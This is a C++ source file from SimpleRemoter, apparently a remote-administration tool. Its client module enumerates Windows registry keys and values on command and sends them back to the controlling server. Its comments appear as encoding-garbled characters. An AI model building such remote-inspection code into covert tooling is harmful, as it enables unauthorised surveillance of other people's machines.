Files
SimpleRemoter/client/RegisterManager.cpp

63 lines
1.4 KiB
C++
Raw Normal View History

// RegisterManager.cpp: implementation of the CRegisterManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "RegisterManager.h"
#include "Common.h"
#include <IOSTREAM>
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
BYTE bToken=TOKEN_REGEDIT;
m_ClientObject->OnServerSending((char*)&bToken, 1);
}
CRegisterManager::~CRegisterManager()
{
Mprintf("CRegisterManager <20><><EFBFBD><EFBFBD>\n");
}
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch (szBuffer[0])
{
case COMMAND_REG_FIND: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(ulLength>3){
Find(szBuffer[1],(char*)(szBuffer+2));
}else{
Find(szBuffer[1],NULL); //Root<6F><74><EFBFBD><EFBFBD>
}
break;
default:
break;
}
}
VOID CRegisterManager::Find(char bToken, char *szPath)
{
RegisterOperation Opt(bToken);
if(szPath!=NULL)
{
Opt.SetPath(szPath);
}
char *szBuffer= Opt.FindPath();
if(szBuffer!=NULL)
{
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
//Ŀ¼<C4BF>µ<EFBFBD>Ŀ¼
LocalFree(szBuffer);
}
szBuffer = Opt.FindKey();
if(szBuffer!=NULL)
{
//Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD>
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
}
}